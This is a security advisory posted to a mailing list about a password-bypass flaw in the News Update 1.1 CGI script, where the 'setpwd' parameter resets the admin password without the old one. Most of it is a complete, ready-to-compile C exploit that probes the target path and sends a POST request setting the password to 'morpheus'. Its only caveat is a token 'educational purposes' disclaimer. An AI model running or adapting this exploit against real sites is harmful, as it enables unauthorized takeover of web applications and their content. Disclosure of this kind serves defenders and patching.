News Update's password protection can be bypassed ------------------------------------------------------------------------ SUMMARY <http://cgi.elitehost.com/newsup/index.shtm> News Update was designed to assist with the building and maintaining of news areas. The CGI provides an easy interface for adding new news items, and creates the complete HTML from predefined templates. The CGI has a built-in password protection that should prevent unauthorized users from adding or deleting news. Not only can this built-in password protection be circumvented, but it can also be made to assign a new password. DETAILS Vulnerable systems: News Update version 1.1 Immune systems: News Update version 1.2 Technical details: Shortly after the initialization of some variables, the following code is used to interpret the input of the user: ---- if ($INPUT{'parse'}) {&parse; } elsif ($INPUT{'setpwd'}) {&setpwd; } else {&display; } ---- By supplying the "setpwd" parameter, the function "setpwd" is called, the function allows changing of the current password. The "setpwd" parameter needs two additional parameters: "pwd" and "pwd2". The parameter "pwd" contains the new password. The parameter "pwd2" is used as a confirmation of the first one, "pwd". Note: The original password isn't required for any of these actions. Exploit Code: /*************************************************************************** news_exp.c - description email : [EMAIL PROTECTED] Exploit code for the News Update 1.1 by Morpheus[bd] For more information see my advisory which should be in this .tar.gz package. Compiling/Linking: gcc exploit.c -o exploit Usage: will be printed when the exploit is started without arguments ***************************************************************************/ /*************************************************************************** [Disclaimer] Standard disclaimer applies here. Do not use this program. This program is only for educational purposes. Use it on your on risk. ***************************************************************************/ /*************************************************************************** * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * ***************************************************************************/ #include <stdio.h> #include <string.h> #include <ctype.h> #include <stdlib.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <signal.h> #include <arpa/nameser.h> #include <sys/stat.h> #define WEISS printf("\033[0;29m") #define ROT printf("\033[1;31m") #define GRUEN printf("\033[1;32m") #define GELB printf("\033[1;33m") #define BLAU printf("\033[1;34m") #define LILA printf("\033[1;35m") #define HELLROT printf("\033[1;36m") #define MAXBUFFER 4096 /******************* AUSGABEN ************************/ /* At the moment everything will be written to the STDOUT */ #define EXPLOIT_INFO 2 /* If you only want Exploit infos ... change it to 1 and DEBUG to 1 */ #define DEBUG_INFO 2 /* If you only want Debug infos ... change DEBUG to 2 */ #define DEBUG 2 /*****************************************************/ /* Standard-Pfad des News Update scripts */ #define NEWSUPDATE_PATH "/cgi-bin/dummy/newsup" /* Name des News Update scripts */ #define NEWS_UPDATE "newsup.pl" /* Das gew�nschte Passwort f�r die News Update Form */ #define PWD "morpheus" /* HTTP-Request f�r die News Update Form */ #define NEWS_UPDATE_PWD "POST %s HTTP/1.0\r\n" \ "Host: %s\r\n" \ "Referrer: %s\r\n" \ "Connection: Close\r\n" \ "User-Agent: %s\r\n" \ "Accept: */*\r\n" \ "Content-type: application/x-www-urlencoded\r\n" \ "Content-length: %d\r\n" \ "\r\n" \ "pwd=%s&pwd2=%s&setpwd=++Set+Password++\r\n" \ "\r\n" /* Ein einfacher HTTP-Request um eine Datei von einem Web-Server zu saugen */ #define SIMPLE_REQUEST "GET %s HTTP/1.0\r\n" \ "Host: %s\r\n" \ "\r\n" #define BROWSER "Morphi-Browser (X11; U; Linux 2.4 i686)" ssize_t writen(int fd, const void *vptr, size_t n) /* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */ { size_t nleft; ssize_t nwritten; const char *ptr; ptr = vptr; nleft = n; while(nleft > 0) { if ( (nwritten = write(fd, ptr, nleft)) <= 0) { if (errno == EINTR) nwritten = 0; else return (-1); } nleft -= nwritten; ptr += nwritten; } return (n); } static ssize_t my_read(int fd, char *ptr) /* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */ { static int read_cnt = 0; static char *read_ptr; static char read_buf[4096]; if (read_cnt <= 0) { again: if ( (read_cnt = read(fd, read_buf, sizeof(read_buf))) < 0) { if (errno == EINTR) goto again; return(-1); } else if (read_cnt == 0) return(0); read_ptr = read_buf; } read_cnt--; *ptr = *read_ptr++; return(1); } ssize_t readline(int fd, void *vptr, size_t maxlen) /* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */ { int n, rc; char c, *ptr; ptr = vptr; for (n = 1; n < maxlen; n++) { if ( (rc = my_read(fd, &c)) == 1) { *ptr++ = c; if (c == '\n') break; /* newline is stored, like fgets() */ } else if (rc == 0) { if (n == 1) return(0); /* EOF, no data read */ else break; /* EOF, some data was read */ } else return(-1); /* error, errno set by read() */ } *ptr = 0; /* null terminate like fgets() */ return(n); } /* Stellt die Verbindung zum HTTP-Port des Servers her */ int http_connection(char host[100]) { struct sockaddr_in sa; struct hostent *hp; int sockfd; int port = 80; sockfd = socket(AF_INET, SOCK_STREAM, 0); bzero(&sa, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(port); if ( (sa.sin_addr.s_addr = inet_addr(host)) == -1) { if ( (hp = (struct hostent *) gethostbyname(host)) == NULL) { ROT; perror("gethostbyname:"); WEISS; return (-1); } memcpy(&sa.sin_addr.s_addr,hp->h_addr,sizeof(hp->h_addr)); } if (connect(sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) { ROT; perror("Connect:"); close(sockfd); WEISS; return (-1); } return sockfd; } /* Exploited das News Update script und schleu�t ein neues Password ein */ int news_update_exploit(char *host, char *path) { int i = 0, sockfd = 0; char cmd[MAXBUFFER]; if ((sockfd = http_connection(host)) == -1) { ROT; printf("Damn ... no connection to %s\n", host); WEISS; return; } i = snprintf(cmd, sizeof(cmd), NEWS_UPDATE_PWD, path, host, "www.brightdarkness.de", BROWSER, 34 + strlen(PWD), PWD, PWD); GELB; if (DEBUG == DEBUG_INFO) { GELB; printf("Sending following request to %s[%d]:\n%s", host, 80, cmd); WEISS; } WEISS; if (writen(sockfd, cmd, i) == -1) { ROT; printf("Man, man, man ....... Ihr verdammten Idioten .... kann man hier nicht mal in Ruhe writen() ?\n"); WEISS; exit(-1); } GELB; if (DEBUG == DEBUG_INFO) printf("Output from Server:\n"); WEISS; while (readline(sockfd, cmd, MAXBUFFER) != 0) { BLAU; if (DEBUG == DEBUG_INFO) printf("%s", cmd); WEISS; if (strstr(cmd, "Password Success") != NULL) { GRUEN; if (DEBUG == EXPLOIT_INFO) printf("Exploit: Success!!!!\n"); if (DEBUG == EXPLOIT_INFO) printf("The new password: %s\n", PWD); WEISS; return (0); } } ROT; if (DEBUG == EXPLOIT_INFO) printf("Exploit: failed.\n"); WEISS; return (-1); } /* How to use this fucking lame proggy *rofl* */ void usage(char *arg) { ROT; printf("news_update_exploit - News Update Password Changer - v0.1\n"); printf("------------=====||| by Morpheus[bd] |||=====------------\n"); GELB; printf("\nUsage:"); GRUEN; printf("%s host/ip [path]\n\n", arg); printf("path: alternative path to the newsup.pl\n"); WEISS; exit(-1); } /* Existiert das Verzeichnis der Form �berhaupt ? */ int check_directory(char *host, char *ptr) { int i = 0, sockfd = 0; char cmd[MAXBUFFER], *ptr2; ptr2 = ptr + strlen(ptr); if (*(ptr2 - 1) != '/') { *ptr2 = '/'; *(ptr2 + 1) = '\0'; } GELB; if (DEBUG == DEBUG_INFO) printf("Checking if %s exists on the target server...\n", ptr); WEISS; if ((sockfd = http_connection(host)) == -1) { ROT; printf("Damn !!!... No connection to %s.\n", host); WEISS; return; } i = snprintf(cmd, sizeof(cmd), SIMPLE_REQUEST, ptr, host); GELB; if (DEBUG == DEBUG_INFO) printf("Sending following request to %s[%d]:\n%s", host, 80, cmd); WEISS; if (writen(sockfd, cmd, i) == -1) { ROT; printf("Man, man, man ....... Ihr verdammten Idioten .... kann man hier nicht mal in Ruhe writen() ?\n"); WEISS; exit(-1); } if (readline(sockfd, cmd, MAXBUFFER) == 0) { ROT; printf("Error: Reading from HTTP Server.\n"); WEISS; exit(-1); } if (strstr(cmd, "404") == NULL) { GRUEN; if (DEBUG == DEBUG_INFO) printf("The directory was found.\n"); WEISS; while (readline(sockfd, cmd, MAXBUFFER) != 0); close(sockfd); return (0); } if (DEBUG == DEBUG_INFO) printf("The directory was NOT found.\n"); while (readline(sockfd, cmd, MAXBUFFER) != 0); close(sockfd); return (-1); } /* Das tolle Hauptprogramm *fg* */ int main(int argc, char **argv) { char buf[MAXBUFFER]; if (argc < 2) { usage(argv[0]); } if (argc >= 3) { /* Ein alternatives Verzeichnis wurde als Parameter �bergeben */ strncpy(buf, argv[2], sizeof(buf)); if (check_directory(argv[1], buf) == -1) { ROT; printf("Error: The given directory was not found.\nPlease provide a different directory.\n"); WEISS; exit(-1); } strcat(buf, NEWS_UPDATE); } else { /* Kein alternatives Verz. angegeben, benutze Standard-Verzeichnis */ strncpy(buf, NEWSUPDATE_PATH, sizeof(buf)); if (check_directory(argv[1], buf) == -1) { ROT; printf("Error: The given directory was not found.\nPlease provide a different directory.\n"); WEISS; exit(-1); } strcat(buf, NEWS_UPDATE); } /* Let's rock !!!! */ news_update_exploit(argv[1], buf); return (0); } -- Eko Sulistiono MIKRODATA & AntiVirus Media Web: http://www.mikrodata.co.id/ WAP: http://www.mikrodata.co.id/wap/index.wml This message contains no viruses. Guaranteed by AVP. ------------------------------------------------------------------------ Forum Komunikasi Penulis-Pembaca MIKRODATA (FKPPM) Informasi : http:[EMAIL PROTECTED] Arsip : http://www.mail-archive.com/forum%40mikrodata.co.id/ WAP : http://mikrodata.co.id/wap/index.wml Milis ini menjadi kontribusi beberapa rubrik yang diasuh tim MIKRODATA. Termasuk rubrik-rubrik yang ada di media lain. Memakai, Menyebarluaskan, dan Memperbanyak software bajakan adalah tindakan kriminal. Please check with the latest AVP update before you ask about virus: ftp://mikrodata.co.id/avirus_&_security/AntiViral_Toolkit_Pro/avp30.zip
